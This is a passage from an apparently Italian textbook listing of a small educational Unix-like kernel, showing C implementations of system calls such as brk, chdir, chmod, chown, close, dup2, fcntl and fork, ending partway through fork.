1420067      // Data and text might share the same address space. If they are
1420068      // are on different places, then must verify if the text is not
1420069      // shared by other processes.
1420070      //
1420071      if (proc_table[pid].domain_data == 0)
1420072        {
1420073          //
1420074          // Text and data are together.
1420075          //
1420076          mb_free (proc_table[pid].address_text,
1420077                   (proc_table[pid].domain_text
1420078                    + proc_table[pid].extra_data));
1420079        }
1420080      else
1420081        {
1420082          //
1420083          // Data is separate and is to be removed alone.
1420084          //
1420085          mb_free (proc_table[pid].address_data,
1420086                   (proc_table[pid].domain_data
1420087                    + proc_table[pid].extra_data));
1420088          //
1420089          // Now must verify if no other process uses the same text
1420090          // memory.
1420091          //
1420092          for (proc_count = 0, extra = 0; extra < PROCESS_MAX; extra++)
1420093            {
1420094              if (proc_table[extra].status == PROC_EMPTY ||
1420095                  proc_table[extra].status == PROC_ZOMBIE)
1420096                {
1420097                  continue;
1420098                }
1420099              if (proc_table[pid].address_text
1420100                  == proc_table[extra].address_text)
1420101                {
1420102                  proc_count++;
1420103                }
1420104            }
1420105          if (proc_count == 0)
1420106            {
1420107              //
1420108              // The code segment can be released, because no other
1420109              // process, except the current one (to be closed),
1420110              // is using it.
1420111              //
```

```
1420112             mb_free (proc_table[pid].address_text,
1420113                      proc_table[pid].domain_text);
1420114           }
1420115       }
1420116     //
1420117     // Abandon children to 'init' ((pid_t) 1).
1420118     //
1420119     for (child = 1; child < PROCESS_MAX; child++)
1420120       {
1420121         if (proc_table[child].status != PROC_EMPTY
1420122             && proc_table[child].ppid == pid)
1420123           {
1420124             proc_table[child].ppid = 1;   // Son of 'init'.
1420125             if (proc_table[child].status == PROC_ZOMBIE)
1420126               {
1420127                 sigchld = 1;      // Must send a SIGCHLD to 'init'.
1420128               }
1420129           }
1420130       }
1420131     //
1420132     // SIGCHLD to 'init'.
1420133     //
1420134     if (sigchld
1420135         && pid != 1
1420136         && proc_table[1].status != PROC_EMPTY
1420137         && proc_table[1].status != PROC_ZOMBIE)
1420138       {
1420139         proc_sig_on ((pid_t) 1, SIGCHLD);
1420140       }
1420141     //
1420142     // Announce to the parent the death of its child.
1420143     //
1420144     if (pid != parent && proc_table[parent].status != PROC_EMPTY)
1420145       {
1420146         proc_sig_on (parent, SIGCHLD);
1420147       }
1420148 }
```

119.8.2 kernel/lib_s/s_brk.c

Si veda la sezione 112.3.

```
1430001 #include <errno.h>
1430002 #include <kernel/proc.h>
1430003 #include <kernel/memory.h>
1430004 #include <kernel/lib_k.h>
1430005 #include <kernel/lib_s.h>
1430006 //----------------------------------------------------------------------
1430007 #define DEBUG 0
1430008 //----------------------------------------------------------------------
1430009 int
```

```
1430010 s_brk (pid_t pid, void *address)
1430011 {
1430012   size_t          requested_size;
1430013   size_t          requested_extra;
1430014   addr_t          previous_address_text;
1430015   size_t          previous_domain_text;
1430016   addr_t          previous_address_data;
1430017   size_t          previous_domain_data;
1430018   size_t          previous_extra;
1430019   addr_t          allocated_text;
1430020   addr_t          allocated_data;
1430021   int             status;
1430022   //
1430023   // All segments start form ((void *) 0), so the new
1430024   // address requested is equivalent to the new size
1430025   // for the data segment.
1430026   //
1430027   requested_size = (size_t) address;
1430028   //
1430029   // Check if it is possible to get the new size: cannot be less
1430030   // then the original segment size.
1430031   //
1430032   if (proc_table[pid].domain_data == 0)
1430033     {
1430034       if (proc_table[pid].domain_text > requested_size)
1430035         {
1430036           requested_extra = 0;
1430037         }
1430038       else
1430039         {
1430040           requested_extra = requested_size
1430041             - proc_table[pid].domain_text;
1430042         }
1430043     }
1430044   else
1430045     {
1430046       if (proc_table[pid].domain_data > requested_size)
1430047         {
1430048           requested_extra = 0;
1430049         }
1430050       else
1430051         {
1430052           requested_extra = requested_size
1430053             - proc_table[pid].domain_data;
1430054         }
1430055     }
1430056   //
1430057   // Now make shure that the new value is a multiple of
1430058   // MEM_BLOCK_SIZE!
1430059   //
1430060   if (requested_extra % MEM_BLOCK_SIZE)
1430061     {
```

```
1430062        requested_extra = (((requested_extra / MEM_BLOCK_SIZE) + 1)
1430063                           * MEM_BLOCK_SIZE);
1430064      }
1430065    //
1430066    // Now resize the process.
1430067    //
1430068    if (requested_extra == proc_table[pid].extra_data)
1430069      {
1430070        //
1430071        // Nothing have to change.
1430072        //
1430073        return (0);
1430074      }
1430075    else if (requested_extra < proc_table[pid].extra_data)
1430076      {
1430077        //
1430078        // Just reduce.
1430079        //
1430080        previous_extra = proc_table[pid].extra_data;
1430081        proc_table[pid].extra_data = requested_extra;
1430082        //
1430083        // Update process DATA segment inside the GDT table.
1430084        //
1430085        if (proc_table[pid].domain_data > 0)
1430086          {
1430087            gdt_segment (gdt_pid_to_segment_data (pid),
1430088                         (uint32_t) proc_table[pid].address_data,
1430089                         (uint32_t) ((proc_table[pid].domain_data
1430090                                      + proc_table[pid].extra_data)
1430091                                     / MEM_BLOCK_SIZE), 1, 0, 0);
1430092          }
1430093        else
1430094          {
1430095            gdt_segment (gdt_pid_to_segment_data (pid),
1430096                         (uint32_t) proc_table[pid].address_text,
1430097                         (uint32_t) ((proc_table[pid].domain_text
1430098                                      + proc_table[pid].extra_data)
1430099                                     / MEM_BLOCK_SIZE), 1, 0, 0);
1430100          }
1430101        //
1430102        // Release memory.
1430103        //
1430104        if (proc_table[pid].domain_data > 0)
1430105          {
1430106            status = mb_reduce ((proc_table[pid].address_data
1430107                                 + proc_table[pid].domain_data),
1430108                                proc_table[pid].extra_data,
1430109                                previous_extra);
1430110          }
1430111        else
1430112          {
1430113            status = mb_reduce ((proc_table[pid].address_text
```

```
1430114                                 + proc_table[pid].domain_text),
1430115                                proc_table[pid].extra_data,
1430116                                previous_extra);
1430117           }
1430118         //
1430119         if (status < 0)
1430120           {
1430121             //
1430122             // What happened?
1430123             //
1430124             k_perror (NULL);
1430125           }
1430126       }
1430127     else
1430128       {
1430129         //
1430130         // A bigger size was requested. Save previous information.
1430131         //
1430132         previous_address_text = proc_table[pid].address_text;
1430133         previous_domain_text = proc_table[pid].domain_text;
1430134         previous_address_data = proc_table[pid].address_data;
1430135         previous_domain_data = proc_table[pid].domain_data;
1430136         previous_extra = proc_table[pid].extra_data;
1430137         //
1430138         // Allocate memory for text,
1430139         // if text and data are inside the same address space;
1430140         // otherwise only the data segment is involved.
1430141         //
1430142         if (proc_table[pid].domain_data == 0)
1430143           {
1430144             allocated_text = mb_alloc_size (proc_table[pid].domain_text
1430145                                             + requested_extra);
1430146             //
1430147             if (allocated_text == 0)
1430148               {
1430149                 errset (ENOMEM);  // Not enough space.
1430150                 return (-1);
1430151               }
1430152             //
1430153             if (DEBUG)
1430154               {
1430155                 k_printf ("%s:%i:mb_alloc_size(%zi)",
1430156                           __FILE__, __LINE__,
1430157                           (proc_table[pid].domain_text
1430158                            + requested_extra));
1430159               }
1430160           }
1430161         //
1430162         // Allocate memory for data, if necessary.
1430163         //
1430164         if (proc_table[pid].domain_data > 0)
1430165           {
```

```
1430166             allocated_data = mb_alloc_size (proc_table[pid].domain_data
1430167                                             + requested_extra);
1430168             //
1430169             if (allocated_data == 0)
1430170               {
1430171                 //
1430172                 // Please note that, if we are here, no memory
1430173                 // for the text was allocated!
1430174                 //
1430175                 errset (ENOMEM);  // Not enough space.
1430176                 return (-1);
1430177               }
1430178             //
1430179             if (DEBUG)
1430180               {
1430181                 k_printf ("%s:%i:mb_alloc_size(%zi)",
1430182                           __FILE__, __LINE__,
1430183                           (proc_table[pid].domain_data
1430184                            + requested_extra));
1430185               }
1430186           }
1430187         //
1430188         // Copy the process text and, data in memory: if
1430189         // size is zero, no copy is made. But the text is
1430190         // copied only if text and data live together.
1430191         //
1430192         if (proc_table[pid].domain_data == 0)
1430193           {
1430194             memcpy ((void *) allocated_text,
1430195                     (void *) proc_table[pid].address_text,
1430196                     (size_t) (proc_table[pid].domain_text
1430197                               + proc_table[pid].extra_data));
1430198           }
1430199         else
1430200           {
1430201             memcpy ((void *) allocated_data,
1430202                     (void *) proc_table[pid].address_data,
1430203                     (size_t) (proc_table[pid].domain_data
1430204                               + proc_table[pid].extra_data));
1430205           }
1430206         //
1430207         // Update process information.
1430208         //
1430209         if (proc_table[pid].domain_data == 0)
1430210           {
1430211             proc_table[pid].address_text = allocated_text;
1430212           }
1430213         else
1430214           {
1430215             proc_table[pid].address_data = allocated_data;
1430216           }
1430217         proc_table[pid].extra_data = requested_extra;
```

```
1430218         //
1430219         // Update process TEXT segment inside the GDT table.
1430220         //
1430221         gdt_segment (gdt_pid_to_segment_text (pid),
1430222                      (uint32_t) proc_table[pid].address_text,
1430223                      (uint32_t) (proc_table[pid].domain_text
1430224                                  / MEM_BLOCK_SIZE), 1, 1, 0);
1430225         //
1430226         // Update process DATA segment inside the GDT table.
1430227         //
1430228         if (proc_table[pid].domain_data > 0)
1430229           {
1430230             gdt_segment (gdt_pid_to_segment_data (pid),
1430231                          (uint32_t) proc_table[pid].address_data,
1430232                          (uint32_t) ((proc_table[pid].domain_data
1430233                                       + proc_table[pid].extra_data)
1430234                                      / MEM_BLOCK_SIZE), 1, 0, 0);
1430235           }
1430236         else
1430237           {
1430238             gdt_segment (gdt_pid_to_segment_data (pid),
1430239                          (uint32_t) proc_table[pid].address_text,
1430240                          (uint32_t) ((proc_table[pid].domain_text
1430241                                       + proc_table[pid].extra_data)
1430242                                      / MEM_BLOCK_SIZE), 1, 0, 0);
1430243           }
1430244         //
1430245         // Now release the old memory!
1430246         //
1430247         if (proc_table[pid].domain_data == 0)
1430248           {
1430249             mb_free (previous_address_text,
1430250                      previous_domain_text + previous_extra);
1430251           }
1430252         else
1430253           {
1430254             mb_free (previous_address_data,
1430255                      previous_domain_data + previous_extra);
1430256           }
1430257       }
1430258     //
1430259     // Ok.
1430260     //
1430261     return (0);
1430262 }
```

119.8.3 kernel/lib_s/s_chdir.c

Si veda la sezione 112.4.

```
1440001 #include <kernel/fs.h>
1440002 #include <errno.h>
1440003 #include <kernel/proc.h>
1440004 #include <kernel/lib_s.h>
1440005 //----------------------------------------------------------------------
1440006 int
1440007 s_chdir (pid_t pid, const char *path)
1440008 {
1440009   proc_t         *ps;
1440010   inode_t        *inode_directory;
1440011   int             status;
1440012   char            path_directory[PATH_MAX];
1440013   //
1440014   // Get process.
1440015   //
1440016   ps = proc_reference (pid);
1440017   //
1440018   // The full directory path is needed.
1440019   //
1440020   status = path_full (path, ps->path_cwd, path_directory);
1440021   if (status < 0)
1440022     {
1440023       return (-1);
1440024     }
1440025   //
1440026   // Try to load the new directory inode.
1440027   //
1440028   inode_directory = path_inode (pid, path_directory);
1440029   if (inode_directory == NULL)
1440030     {
1440031       //
1440032       // Cannot access the directory: it does not exists or
1440033       // permissions are not sufficient. Variable `errno' is set by
1440034       // function `inode_directory()'.
1440035       //
1440036       errset (errno);
1440037       return (-1);
1440038     }
1440039   //
1440040   // Inode loaded: release the old directory and set the new one.
1440041   //
1440042   inode_put (ps->inode_cwd);
1440043   //
1440044   ps->inode_cwd = inode_directory;
1440045   strncpy (ps->path_cwd, path_directory, PATH_MAX);
1440046   //
1440047   // Return.
1440048   //
1440049   return (0);
```

```
1440050 }
```

119.8.4 kernel/lib_s/s_chmod.c

Si veda la sezione 112.5.

```
1450001 #include <kernel/fs.h>
1450002 #include <errno.h>
1450003 #include <kernel/proc.h>
1450004 #include <kernel/lib_s.h>
1450005 //----------------------------------------------------------------------
1450006 int
1450007 s_chmod (pid_t pid, const char *path, mode_t mode)
1450008 {
1450009   proc_t          *ps;
1450010   inode_t         *inode;
1450011   //
1450012   // Get process.
1450013   //
1450014   ps = proc_reference (pid);
1450015   //
1450016   // Try to load the file inode.
1450017   //
1450018   inode = path_inode (pid, path);
1450019   if (inode == NULL)
1450020     {
1450021       //
1450022       // Cannot access the file: it does not exists or permissions are
1450023       // not sufficient. Variable 'errno' is set by function
1450024       // 'inode_directory()'.
1450025       //
1450026       return (-1);
1450027     }
1450028   //
1450029   // Verify to be root or to be the owner.
1450030   //
1450031   if (ps->euid != 0 && ps->euid != inode->uid)
1450032     {
1450033       errset (EACCES);           // Permission denied.
1450034       return (-1);
1450035     }
1450036   //
1450037   // Update the mode: the file type is kept and the
1450038   // rest is taken form the parameter 'mode'.
1450039   //
1450040   inode->mode = (S_IFMT & inode->mode) | (~S_IFMT & mode);
1450041   //
1450042   // Save and release the inode.
1450043   //
1450044   inode->changed = 1;
1450045   inode_save (inode);
```

```
1450046     inode_put (inode);
1450047     //
1450048     // Return.
1450049     //
1450050     return (0);
1450051   }
```

119.8.5 kernel/lib_s/s_chown.c

Si veda la sezione 112.6.

```
1460001   #include <kernel/fs.h>
1460002   #include <errno.h>
1460003   #include <kernel/proc.h>
1460004   #include <kernel/lib_s.h>
1460005   //----------------------------------------------------------------------
1460006   int
1460007   s_chown (pid_t pid, const char *path, uid_t uid, gid_t gid)
1460008   {
1460009     proc_t          *ps;
1460010     inode_t         *inode;
1460011     //
1460012     // Get process.
1460013     //
1460014     ps = proc_reference (pid);
1460015     //
1460016     // Must be root, as the ability to change group is not considered.
1460017     //
1460018     if (ps->euid != 0)
1460019       {
1460020         errset (EPERM);             // Operation not permitted.
1460021         return (-1);
1460022       }
1460023     //
1460024     // Try to load the file inode.
1460025     //
1460026     inode = path_inode (pid, path);
1460027     if (inode == NULL)
1460028       {
1460029         //
1460030         // Cannot access the file: it does not exists or permissions are
1460031         // not sufficient. Variable 'errno' is set by function
1460032         // 'inode_directory()'.
1460033         //
1460034         return (-1);
1460035       }
1460036     //
1460037     // Update the owner and group.
1460038     //
1460039     if (uid != -1)
1460040       {
```

```
1460041         inode->uid = uid;
1460042         inode->changed = 1;
1460043       }
1460044     if (gid != -1)
1460045       {
1460046         inode->gid = gid;
1460047         inode->changed = 1;
1460048       }
1460049     //
1460050     // Save and release the inode.
1460051     //
1460052     inode_save (inode);
1460053     inode_put (inode);
1460054     //
1460055     // Return.
1460056     //
1460057     return (0);
1460058 }
```

119.8.6 kernel/lib_s/s_clock.c

Si veda la sezione 112.7.

```
1470001 #include <kernel/lib_s.h>
1470002 //----------------------------------------------------------------------
1470003 extern clock_t  _clock_kernel;  // uint64_t
1470004 //----------------------------------------------------------------------
1470005 clock_t
1470006 s_clock (pid_t pid)
1470007 {
1470008   return (_clock_kernel);
1470009 }
```

119.8.7 kernel/lib_s/s_close.c

Si veda la sezione 112.8.

```
1480001 #include <kernel/proc.h>
1480002 #include <fcntl.h>
1480003 #include <errno.h>
1480004 //----------------------------------------------------------------------
1480005 int
1480006 s_close (pid_t pid, int fdn)
1480007 {
1480008   fd_t           *fd;
1480009   //
1480010   // Get file descriptor.
1480011   //
1480012   fd = fd_reference (pid, &fdn);
```

```
1480013     if (fd == NULL || fd->file == NULL || fd->file->inode == NULL)
1480014       {
1480015         errset (EBADF);             // Bad file descriptor.
1480016         return (-1);
1480017       }
1480018     //
1480019     // If it is a pipe, some special things must be done.
1480020     //
1480021     if (S_ISFIFO (fd->file->inode->mode))
1480022       {
1480023         if (fd->fl_flags & O_RDONLY)
1480024           {
1480025             fd->file->inode->pipe_ref_read--;
1480026             if (fd->file->inode->pipe_ref_read == 0)
1480027               {
1480028                 proc_wakeup_pipe_write (fd->file->inode);
1480029               }
1480030           }
1480031         //
1480032         if (fd->fl_flags & O_WRONLY)
1480033           {
1480034             fd->file->inode->pipe_ref_write--;
1480035             if (fd->file->inode->pipe_ref_write == 0)
1480036               {
1480037                 proc_wakeup_pipe_read (fd->file->inode);
1480038               }
1480039           }
1480040       }
1480041     //
1480042     // Reduce references inside the file table item
1480043     // and remove item if it reaches zero.
1480044     //
1480045     fd->file->references--;
1480046     if (fd->file->references == 0)
1480047       {
1480048         fd->file->oflags = 0;
1480049         fd->file->inode = NULL;
1480050         //
1480051         // Put inode, because there are no more file references.
1480052         //
1480053         inode_put (fd->file->inode);
1480054       }
1480055     //
1480056     // Remove file descriptor.
1480057     //
1480058     fd->fl_flags = 0;
1480059     fd->fd_flags = 0;
1480060     fd->file = NULL;
1480061     //
1480062     //
1480063     //
1480064     return (0);
```

```
1480065 }
```

119.8.8 kernel/lib_s/s_dup.c

Si veda la sezione 112.9.

```
1490001 #include <kernel/lib_s.h>
1490002 #include <kernel/fs.h>
1490003 //----------------------------------------------------------------------
1490004 int
1490005 s_dup (pid_t pid, int fdn_old)
1490006 {
1490007   return (fd_dup (pid, fdn_old, 0));
1490008 }
```

119.8.9 kernel/lib_s/s_dup2.c

Si veda la sezione 112.9.

```
1500001 #include <kernel/proc.h>
1500002 #include <kernel/lib_s.h>
1500003 #include <errno.h>
1500004 #include <fcntl.h>
1500005 //----------------------------------------------------------------------
1500006 int
1500007 s_dup2 (pid_t pid, int fdn_old, int fdn_new)
1500008 {
1500009   proc_t         *ps;
1500010   int             status;
1500011   //
1500012   // Get process.
1500013   //
1500014   ps = proc_reference (pid);
1500015   //
1500016   // Verify if 'fdn_old' is a valid value.
1500017   //
1500018   if (fdn_old < 0 ||
1500019       fdn_old >= OPEN_MAX || ps->fd[fdn_old].file == NULL)
1500020     {
1500021       errset (EBADF);           // Bad file descriptor.
1500022       return (-1);
1500023     }
1500024   //
1500025   // Check if 'fd_old' and 'fd_new' are the same.
1500026   //
1500027   if (fdn_old == fdn_new)
1500028     {
1500029       return (fdn_new);
1500030     }
```

```
1500031      //
1500032      // Close 'fdn_new' if it is open and copy 'fdn_old' into it.
1500033      //
1500034      if (ps->fd[fdn_new].file != NULL)
1500035        {
1500036          status = s_close (pid, fdn_new);
1500037          if (status != 0)
1500038            {
1500039              return (-1);
1500040            }
1500041        }
1500042      ps->fd[fdn_new].fl_flags = ps->fd[fdn_old].fl_flags;
1500043      ps->fd[fdn_new].fd_flags = ps->fd[fdn_old].fd_flags & ~FD_CLOEXEC;
1500044      ps->fd[fdn_new].file = ps->fd[fdn_old].file;
1500045      ps->fd[fdn_new].file->references++;
1500046      return (fdn_new);
1500047    }
```

119.8.10 kernel/lib_s/s_fchmod.c

Si veda la sezione 112.5.

```
1510001    #include <kernel/proc.h>
1510002    #include <kernel/lib_s.h>
1510003    #include <sys/stat.h>
1510004    #include <errno.h>
1510005    //----------------------------------------------------------------------
1510006    int
1510007    s_fchmod (pid_t pid, int fdn, mode_t mode)
1510008    {
1510009      proc_t          *ps;
1510010      inode_t         *inode;
1510011      //
1510012      // Get process.
1510013      //
1510014      ps = proc_reference (pid);
1510015      //
1510016      // Verify if the file descriptor is valid.
1510017      //
1510018      if (ps->fd[fdn].file == NULL)
1510019        {
1510020          errset (EBADF);            // Bad file descriptor.
1510021          return (-1);
1510022        }
1510023      //
1510024      // Reach the inode.
1510025      //
1510026      inode = ps->fd[fdn].file->inode;
1510027      //
1510028      // Verify to be the owner, or at least to be UID == 0.
1510029      //
```

```
1510030     if (ps->euid != inode->uid && ps->euid != 0)
1510031       {
1510032         errset (EACCES);           // Permission denied.
1510033         return (-1);
1510034       }
1510035     //
1510036     // Update the mode: the file type is kept and the
1510037     // rest is taken form the parameter 'mode'.
1510038     //
1510039     inode->mode = (S_IFMT & inode->mode) | (~S_IFMT & mode);
1510040     //
1510041     // Save the inode.
1510042     //
1510043     inode->changed = 1;
1510044     inode_save (inode);
1510045     //
1510046     // Return.
1510047     //
1510048     return (0);
1510049   }
```

119.8.11 kernel/lib_s/s_fchown.c

Si veda la sezione 112.6.

```
1520001   #include <kernel/proc.h>
1520002   #include <kernel/lib_s.h>
1520003   #include <errno.h>
1520004   //----------------------------------------------------------------------
1520005   int
1520006   s_fchown (pid_t pid, int fdn, uid_t uid, gid_t gid)
1520007   {
1520008     proc_t          *ps;
1520009     inode_t         *inode;
1520010     //
1520011     // Get process.
1520012     //
1520013     ps = proc_reference (pid);
1520014     //
1520015     // Verify if the file descriptor is valid.
1520016     //
1520017     if (ps->fd[fdn].file == NULL)
1520018       {
1520019         errset (EBADF);            // Bad file descriptor.
1520020         return (-1);
1520021       }
1520022     //
1520023     // Reach the inode.
1520024     //
1520025     inode = ps->fd[fdn].file->inode;
1520026     //
```

```
1520027     // Verify to be root, as the ability to change group
1520028     // is not taken into consideration.
1520029     //
1520030     if (ps->euid != 0)
1520031       {
1520032         errset (EACCES);           // Permission denied.
1520033         return (-1);
1520034       }
1520035     //
1520036     // Update the ownership.
1520037     //
1520038     if (uid != -1)
1520039       {
1520040         inode->uid = uid;
1520041         inode->changed = 1;
1520042       }
1520043     if (gid != -1)
1520044       {
1520045         inode->gid = gid;
1520046         inode->changed = 1;
1520047       }
1520048     //
1520049     // Save the inode.
1520050     //
1520051     inode->changed = 1;
1520052     inode_save (inode);
1520053     //
1520054     // Return.
1520055     //
1520056     return (0);
1520057 }
```

119.8.12 kernel/lib_s/s_fcntl.c

Si veda la sezione 112.15.

```
1530001 #include <kernel/proc.h>
1530002 #include <kernel/lib_s.h>
1530003 #include <kernel/fs.h>
1530004 #include <errno.h>
1530005 #include <fcntl.h>
1530006 //----------------------------------------------------------------------
1530007 int
1530008 s_fcntl (pid_t pid, int fdn, int cmd, int arg)
1530009 {
1530010     proc_t          *ps;
1530011     inode_t         *inode;
1530012     int              mask;
1530013     //
1530014     // Get process.
1530015     //
```

```
1530016     ps = proc_reference (pid);
1530017     //
1530018     // Verify if the file descriptor is valid.
1530019     //
1530020     if (ps->fd[fdn].file == NULL)
1530021       {
1530022         errset (EBADF);           // Bad file descriptor.
1530023         return (-1);
1530024       }
1530025     //
1530026     // Reach the inode.
1530027     //
1530028     inode = ps->fd[fdn].file->inode;
1530029     //
1530030     //
1530031     //
1530032     switch (cmd)
1530033       {
1530034       case F_DUPFD:
1530035         return (fd_dup (pid, fdn, arg));
1530036         break;
1530037       case F_GETFD:
1530038         return (ps->fd[fdn].fd_flags);
1530039         break;
1530040       case F_SETFD:
1530041         ps->fd[fdn].fd_flags = arg;
1530042         return (0);
1530043       case F_GETFL:
1530044         return (ps->fd[fdn].fl_flags);
1530045       case F_SETFL:
1530046         //
1530047         // Calculate a mask with bits that are not to be set.
1530048         //
1530049         mask = (O_ACCMODE | O_CREAT | O_EXCL | O_NOCTTY | O_TRUNC);
1530050         //
1530051         // Set to zero the bits that are not to be set from
1530052         // the argument.
1530053         //
1530054         arg = (arg & ~mask);
1530055         //
1530056         // Set to zero the bit that *are* to be set.
1530057         //
1530058         ps->fd[fdn].fl_flags &= mask;
1530059         //
1530060         // Set the bits, already filtered inside the argument.
1530061         //
1530062         ps->fd[fdn].fl_flags |= arg;
1530063         //
1530064         return (0);
1530065       default:
1530066         errset (EINVAL);          // Not implemented.
1530067         return (-1);
```

```
1530068       }
1530069   }
```

119.8.13 kernel/lib_s/s_fork.c

Si veda la sezione 112.16.

```
1540001 #include <kernel/proc.h>
1540002 #include <errno.h>
1540003 #include <fcntl.h>
1540004 #include <kernel/lib_k.h>
1540005 #include <kernel/lib_s.h>
1540006 //----------------------------------------------------------------------
1540007 #define DEBUG 0
1540008 //----------------------------------------------------------------------
1540009 extern uint32_t proc_stack_pointer;
1540010 //----------------------------------------------------------------------
1540011 pid_t
1540012 s_fork (pid_t ppid)
1540013 {
1540014   pid_t           pid;
1540015   pid_t           zombie;
1540016   addr_t          allocated_text = 0;
1540017   addr_t          allocated_data = 0;
1540018   addr_t          addr_stack_pointer = 0;
1540019   int             fdn;
1540020   uint16_t        segment_descriptor;
1540021   int             sig;
1540022   //
1540023   // Find a free PID.
1540024   //
1540025   for (pid = 1; pid < PROCESS_MAX; pid++)
1540026     {
1540027       if (proc_table[pid].status == PROC_EMPTY)
1540028         {
1540029           break;
1540030         }
1540031     }
1540032   if (pid >= PROCESS_MAX)
1540033     {
1540034       //
1540035       // There is no free pid.
1540036       //
1540037       errset (ENOMEM);          // Not enough space.
1540038       return (-1);
1540039     }
1540040   //
1540041   // Before allocating a new process, must check if there are some
1540042   // zombie slots, still with original segment data: should reset
1540043   // them now!
1540044   //
```

```
1540045     for (zombie = 1; zombie < PROCESS_MAX; zombie++)
1540046       {
1540047         if (proc_table[zombie].status == PROC_ZOMBIE
1540048             && (proc_table[zombie].address_text != 0
1540049                 || proc_table[zombie].domain_text != 0))
1540050           {
1540051             proc_table[zombie].address_text = (addr_t) 0;
1540052             proc_table[zombie].domain_text = (size_t) 0;
1540053             proc_table[zombie].address_data = (addr_t) 0;
1540054             proc_table[zombie].domain_data = (size_t) 0;
1540055             proc_table[zombie].domain_stack = (size_t) 0;
1540056             proc_table[zombie].extra_data = (size_t) 0;
1540057             proc_table[zombie].sp = 0;
1540058           }
1540059       }
1540060     //
1540061     // Allocate memory for text, if text and data are inside
1540062     // the same address space.
1540063     //
1540064     if (proc_table[ppid].domain_data == 0)
1540065       {
1540066         allocated_text = mb_alloc_size (proc_table[ppid].domain_text
1540067                                         + proc_table[ppid].extra_data);
1540068         //
1540069         if (allocated_text == 0)
1540070           {
1540071             errset (ENOMEM);      // Not enough space.
1540072             return ((pid_t) - 1);
1540073           }
1540074         //
1540075         if (DEBUG)
1540076           {
1540077             k_printf ("%s:%i:mb_alloc_size(%zi)",
1540078                       __FILE__, __LINE__,
1540079                       (proc_table[ppid].domain_text
1540080                        + proc_table[ppid].extra_data));
1540081           }
1540082       }
1540083     //
1540084     // Allocate memory for data, if necessary.
1540085     //
1540086     if (proc_table[ppid].domain_data > 0)
1540087       {
1540088         allocated_data = mb_alloc_size (proc_table[ppid].domain_data
1540089                                         + proc_table[ppid].extra_data);
1540090         //
1540091         if (allocated_data == 0)
1540092           {
1540093             //
1540094             // Please note that, if we are here, no memory
1540095             // for the text was allocated!
1540096             //
```

```
1540097             errset (ENOMEM);      // Not enough space.
1540098             return ((pid_t) - 1);
1540099           }
1540100         //
1540101         if (DEBUG)
1540102           {
1540103             k_printf ("%s:%i:mb_alloc_size(%zi)",
1540104                        __FILE__, __LINE__,
1540105                        (proc_table[ppid].domain_data
1540106                         + proc_table[ppid].extra_data));
1540107           }
1540108       }
1540109     //
1540110     // Copy the process text and, data in memory: if
1540111     // size is zero, no copy is made. But the text is
1540112     // copied only if text and data live together.
1540113     //
1540114     if (proc_table[ppid].domain_data == 0)
1540115       {
1540116         memcpy ((void *) allocated_text,
1540117                 (void *) proc_table[ppid].address_text,
1540118                 (size_t) (proc_table[ppid].domain_text
1540119                           + proc_table[ppid].extra_data));
1540120       }
1540121     else
1540122       {
1540123         memcpy ((void *) allocated_data,
1540124                 (void *) proc_table[ppid].address_data,
1540125                 (size_t) (proc_table[ppid].domain_data
1540126                           + proc_table[ppid].extra_data));
1540127       }
1540128     //
1540129     // Allocate the new PID inside the 'proc_table[]'.
1540130     //
1540131     proc_table[pid].ppid = ppid;
1540132     proc_table[pid].pgrp = proc_table[ppid].pgrp;
1540133     proc_table[pid].uid  = proc_table[ppid].uid;
1540134     proc_table[pid].euid = proc_table[ppid].euid;
1540135     proc_table[pid].suid = proc_table[ppid].suid;
1540136     proc_table[pid].gid  = proc_table[ppid].gid;
1540137     proc_table[pid].egid = proc_table[ppid].egid;
1540138     proc_table[pid].sgid = proc_table[ppid].sgid;
1540139     proc_table[pid].device_tty = proc_table[ppid].device_tty;
1540140     proc_table[pid].sig_status = 0;
1540141     proc_table[pid].sig_ignore = 0;
1540142     //
1540143     for (sig = 0; sig < MAX_SIGNALS; sig++)
1540144       {
1540145         proc_table[pid].sig_handler[sig]
1540146           = proc_table[ppid].sig_handler[sig];
1540147       }
1540148     //
```

```
1540149     proc_table[pid].usage = 0;
1540150     proc_table[pid].status = PROC_CREATED;
1540151     proc_table[pid].wakeup_events = 0;
1540152     proc_table[pid].wakeup_signal = 0;
1540153     proc_table[pid].wakeup_timer = 0;
1540154     //
1540155     if (proc_table[ppid].domain_data != 0)
1540156       {
1540157         proc_table[pid].address_text = proc_table[ppid].address_text;
1540158       }
1540159     else
1540160       {
1540161         proc_table[pid].address_text = allocated_text;
1540162       }
1540163     proc_table[pid].domain_text = proc_table[ppid].domain_text;
1540164     proc_table[pid].address_data = allocated_data;
1540165     proc_table[pid].domain_data = proc_table[ppid].domain_data;
1540166     proc_table[pid].domain_stack = proc_table[ppid].domain_stack;
1540167     proc_table[pid].extra_data = proc_table[ppid].extra_data;
1540168     proc_table[pid].sp = proc_stack_pointer;
1540169     proc_table[pid].ret = 0;
1540170     proc_table[pid].inode_cwd = proc_table[ppid].inode_cwd;
1540171     proc_table[pid].umask = proc_table[ppid].umask;
1540172     strncpy (proc_table[pid].name, proc_table[ppid].name, PATH_MAX);
1540173     strncpy (proc_table[pid].path_cwd,
1540174              proc_table[ppid].path_cwd, PATH_MAX);
1540175     //
1540176     // Update process TEXT segment inside the GDT table.
1540177     //
1540178     gdt_segment (gdt_pid_to_segment_text (pid),
1540179                  (uint32_t) proc_table[pid].address_text,
1540180                  (uint32_t) (proc_table[pid].domain_text / 4096),
1540181                  1, 1, 0);
1540182     //
1540183     // Update process DATA segment inside the GDT table.
1540184     //
1540185     if (proc_table[pid].domain_data > 0)
1540186       {
1540187         gdt_segment (gdt_pid_to_segment_data (pid),
1540188                      (uint32_t) proc_table[pid].address_data,
1540189                      (uint32_t) ((proc_table[pid].domain_data
1540190                                   + proc_table[pid].extra_data) / 4096),
1540191                      1, 0, 0);
1540192       }
1540193     else
1540194       {
1540195         gdt_segment (gdt_pid_to_segment_data (pid),
1540196                      (uint32_t) proc_table[pid].address_text,
1540197                      (uint32_t) ((proc_table[pid].domain_text
1540198                                   + proc_table[pid].extra_data) / 4096),
1540199                      1, 0, 0);
1540200       }
```

```
1540201     //
1540202     //----------------------------------------------------------------
1540203     // Might reload the GDT table, but it is not necessarily.
1540204     // Anyway, if you do it, nothing change. :-)
1540205     //
1540206     // gdt_load  (&gdt_register);
1540207     //----------------------------------------------------------------
1540208     //
1540209     // Increase inode references for the working directory.
1540210     //
1540211     proc_table[pid].inode_cwd->references++;
1540212     //
1540213     // Duplicate valid file descriptors.
1540214     //
